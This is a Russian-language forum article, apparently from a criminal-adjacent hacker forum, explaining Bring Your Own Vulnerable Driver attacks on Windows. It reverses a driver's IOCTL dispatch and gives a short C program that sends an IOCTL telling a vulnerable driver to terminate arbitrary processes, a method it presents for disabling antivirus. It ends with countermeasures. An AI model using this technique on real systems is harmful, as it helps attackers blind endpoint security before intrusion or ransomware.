• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Разбираем BYOVD — одну из опаснейших атак на Windows за последние годы

stihl

Moderator
Регистрация
09.02.2012
Сообщения
639
Розыгрыши
0
Реакции
373
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Многие именитые хакерские группировки, например северокорейская Lazarus, используют доступ к пространству ядра через атаку BYOVD при выполнении сложных APT-нападений. Тот же метод используют авторы инструмента Terminator, а также операторы различных шифровальщиков. В этой статье мы подробно разберем, как работает BYOVD и почему эта атака стала популярной.

www​

На самом деле в узких кругах давно было известно о возможности использовать чужой драйвер в своих целях, но до какого‑то момента она не была столь важной. Можно было открыть любой хакерский форум и найти пучок других способов обойти проверку целостности ядра Windows и надурить механизм KPP (Kernel Patch Protection).

Но в Microsoft тоже об этом догадывались и в итоге довели контроль целостности ядра до достаточно высокого уровня, обломав всю малину любителям нестандартного программирования. Вот тогда все вспомнили про BYOVD, потому что реализовать эту атаку значительно проще, чем искать зиродеи в механизме контроля целостности ядра.


BYOVD дает хорошие возможности: позволяет отключать антивирусы, поднимать привилегии (LPE) и делать другие интересные фокусы, в зависимости от того, какой драйвер атакован.

В конце концов, ядро всегда было лакомым кусочком для хакеров всех мастей. Давай разберемся, как работает эта атака.


Как устроен драйвер​

Для начала нам нужно понимать, что такое драйвер в Windows и как он устроен. Очевидно, что, как и у любого другого приложения, у драйвера есть точка входа, которая называется DriverEntry и имеет следующий прототип:

Код:
NTSTATUS DriverEntry (
  In PDRIVER_OBJECT DriverObject,
  In PUNICODE_STRING RegistryPath
);
Видим, что в основную функцию драйвера передаются два аргумента: DriverObject, представляющий собой указатель на структуру DRIVER_OBJECT, которая содержит информацию о драйвере, и указатель на строку RegistryPath с путем к файлу драйвера. Сама структура DRIVER_OBJECT выглядит так:

typedef struct _DRIVER_OBJECT {
  CSHORT             Type;
  CSHORT             Size;
  PDEVICE_OBJECT     DeviceObject;
  ULONG              Flags;
  PVOID              DriverStart;
  ULONG              DriverSize;
  PVOID              DriverSection;
  PDRIVER_EXTENSION  DriverExtension;
  UNICODE_STRING     DriverName;
  PUNICODE_STRING    HardwareDatabase;
  PFAST_IO_DISPATCH  FastIoDispatch;
  PDRIVER_INITIALIZE DriverInit;
  PDRIVER_STARTIO    DriverStartIo;
  PDRIVER_UNLOAD     DriverUnload;
  PDRIVER_DISPATCH   MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;

Чтобы приложение из пользовательского режима могло взаимодействовать с драйвером, работающим в режиме ядра, создается устройство драйвера при помощи функции Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся и символическая ссылка на него при помощи Для просмотра ссылки Войди или Зарегистрируйся.

Вот фрагмент кода в реальном драйвере, где происходит создание символической ссылки на него.

Для просмотра ссылки Войди или Зарегистрируйся
Теперь разберемся с тем, как приложение пользовательского режима заставляет драйвер выполнить какое‑либо действие.

Обрати внимание на поле PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1] в структуре DRIVER_OBJECT. Это поле — массив указателей на функции, которые будет выполнять драйвер в определенных условиях (то есть, по сути, список выполняемых драйвером действий).

Прежде всего нас интересует IRP_MJ_DEVICE_CONTROL — это один из кодов функций IRP (I/O Request Packet) в массиве MajorFunction. Он используется для обработки запросов на управление устройством драйвера, таких как чтение и запись данных. Чтобы было нагляднее, пример кода драйвера, отвечающий за инициализацию разных функций IRP:

Код:
NTSTATUS DispatchRead(
    In PDEVICE_OBJECT DeviceObject,
    Inout PIRP Irp
)
{
    UNREFERENCED_PARAMETER(DeviceObject);

    // Обработка операции чтения файла
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;

    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return STATUS_SUCCESS;
}

...

NTSTATUS DriverEntry:

    // Заполнение массива MajorFunction
    DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
    // Код, выполняющийся при событии IRP_MJ_READ
    DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;

info​

Input/Output Control, или IOCTL, — это механизм взаимодействия между пользовательским приложением и драйвером устройства в Windows. IOCTL позволяет приложению отправлять управляющие команды и запросы к драйверам устройств для выполнения различных операций, таких как чтение или запись данных, установка параметров устройства, получение информации о состоянии устройства и многое другое. Когда приложение отправляет IOCTL, операционная система передает запрос соответствующему драйверу устройства, который затем выполняет нужное действие и возвращает результат операции.
IOCTL-запросы обрабатываются в специальной функции Для просмотра ссылки Войди или Зарегистрируйся, вот ее прототип (запомни его, он нам понадобится, чтобы найти эту функцию в дизассемблере):

Код:
NTSTATUS DriverDispatch(
  [in, out] _DEVICE_OBJECT *DeviceObject,
  [in, out] _IRP *Irp
)
Код обработки IOCTL-запросов к драйверу, реализованной в функции DriverDispatch, может выглядеть примерно так:

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    NTSTATUS status = STATUS_SUCCESS;
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    switch(controlCode)
    {
        case IOCTL_CUSTOM_COMMAND:
            // Обработка пользовательской команды
            status = ProcessCustomCommand(DeviceObject, Irp);
            break;

        case IOCTL_ANOTHER_COMMAND:
            // Обработка другой пользовательской команды
            status = ProcessAnotherCommand(DeviceObject, Irp);
            break;

        default:
            // Неизвестная команда, возвращаем ошибку
            status = STATUS_INVALID_DEVICE_REQUEST;
            break;
    }

    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return status;
}

В этой функции IOCTL_CUSTOM_COMMAND и IOCTL_ANOTHER_COMMAND — это просто дефайны, содержащие номера IOCTL. Их будет отправлять пользовательское приложение в драйвер. По запросу приложений функции будут выполняться уже в драйвере и с приоритетом ring 0. Часть switch-case в функции DispatchDeviceControl — одна из самых интересных для нас, потому что как раз содержит номера управляющих IOCTL-запросов.


Исследуем драйвер​

После того как мы ознакомились с базовой структурой драйвера, поняли, как драйвер взаимодействует с юзермодом, настало время реверса! Загружаем подопытный драйвер в IDA Pro и видим точку входа драйвера.

Так как это реальный драйвер, уязвимый для BYOVD, его начальный код может несколько отличаться от простейшего макета драйвера. Чтобы попасть в области кода, содержащие создание устройства, символической ссылки и начало инициализации массива MajorFunction, проследим, куда ведет аргумент DriverObject, ведь он обязателен для действий инициализации. В итоге находим это место, оно рядом с кодом создания символической ссылки. Но так бывает не всегда.

Заполнение MajorFunction
Заполнение MajorFunction
Строчка с memset инициализирует массив MajorFunction. Идем в функцию sub_140014890, указанную в аргументе, видим много кода.

Поиск функции диспетчеризации
Поиск функции диспетчеризации
Отыскиваем функцию диспетчеризации по ее прототипу (помнишь, я говорил, что его надо запомнить?) — просто прослеживаем, куда идет аргумент, содержащий IRP. А уже внутри функции видим код инициализации разных элементов MajorFunction.

Инициализируются элементы MajorFunction
Инициализируются элементы MajorFunction

Нам интересен именно IRP_MJ_DEVICE_CONTROL, поэтому смотрим в функцию sub_140018ff8 и находим в ней различные case, которые и реализуют управляющие коды IOCTL.

Наблюдаем различные IOCTL
Наблюдаем различные IOCTL

Теперь дело техники: нужно посмотреть, что делает каждый case, чтобы найти что‑то интересное и полезное для нас. Немножко осмотревшись в коде, находим функцию, которая умеет завершать процессы по переданному PID.

ZwOpenProcess и ZwTerminateProcess не могут не заинтересовать
ZwOpenProcess и ZwTerminateProcess не могут не заинтересовать

Как видно из кода, функция завершает процесс, используя обращение к ZwTerminateProcess. То, что нужно! Запоминаем номер IOCTL-запроса, который вызывает эту функцию.


Пишем код​

Итак, реверс драйвера принес свои плоды, теперь нам нужно написать инструмент, который поможет проэксплуатировать драйвер и заставить его завершить любой процесс по нашей команде. Но сначала нам нужно обратиться к драйверу. Из юзермода это можно сделать при помощи функции Для просмотра ссылки Войди или Зарегистрируйся, вот ее прототип:
Код:
BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);
Обрати внимание на параметр hDevice — его мы извлекаем из нашего дизасма, в момент, когда формируется символическая ссылка. А параметр dwIoControlCode — это номер ветки case, которая содержит вызов ZwTerminateProcess.

Код:
int main() {

    int status = 0, proc_id = 0;
    DWORD retBytes = 0;

    scanf("%u", &proc_id);

    HANDLE hDevice = CreateFileA(
        "\\\\.\\my_driver",
        GENERIC_WRITE|GENERIC_READ,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
        );

    status = DeviceIoControl(hDevice, 0x88889988, &proc_id, sizeof(proc_id), NULL, 0, &retBytes, NULL);

        CloseHandle(hDevice);

    return 0;
}

Код предельно прост: при помощи CreateFileA мы получаем дескриптор устройства драйвера по его ссылке, которую мы обнаружили в процессе реверса, а вызов функции DeviceIoControl дает прямое указание драйверу выполнить то действие, которое указывается IOCTL-кодом (аргумент dwIoControlCode). В нашем случае это завершение процесса по его ID. После выполнения этого кода драйвер при помощи вызова функции ZwTerminateProcess завершит процесс прямо из ядра!


Можно ли защититься?​

Разумеется, эта техника — не «серебряная пуля», потому что были разработаны контрмеры, которые помогают минимизировать риски, связанные с BYOVD:

  • отзыв сертификата подписи драйвера;
  • черный список драйверов;
  • Virtualization-based Security (VBS) и Hypervisor-Protected Code Integrity (HVCI).
Давай пройдемся по каждому. Черный список собирает контрольные суммы и отпечатки драйверов, которые были замечены в атаках. Отзыв сертификата обнуляет действие сертификата подписи, и драйвер становится как будто неподписанным. А изоляция ядра на основе виртуализации (VBS и ее компонент HVCI) препятствует вредоносным действиям еще неизвестных, но использующихся для атак драйверов. Система виртуализации выступает корнем доверия и предполагает, что ядро может быть в любой момент скомпрометировано.

Все эти меры работают вместе и стали эффективными средствами для предотвращения атак BYOVD. Но сработают они, только если пользователь их не отключил специально, например для улучшения производительности.


Выводы​

Надеюсь, мне удалось немного рассказать о тех методах и средствах, которыми пользуются одни из самых крутых хакерских группировок, а кто предупрежден, тот, как известно, вооружен. Как минимум ты уже знаешь, почему не стоит выключать защиту ядра Windows ради лишних 10% скорости!
 
Activity
So far there's no one here
Сверху Снизу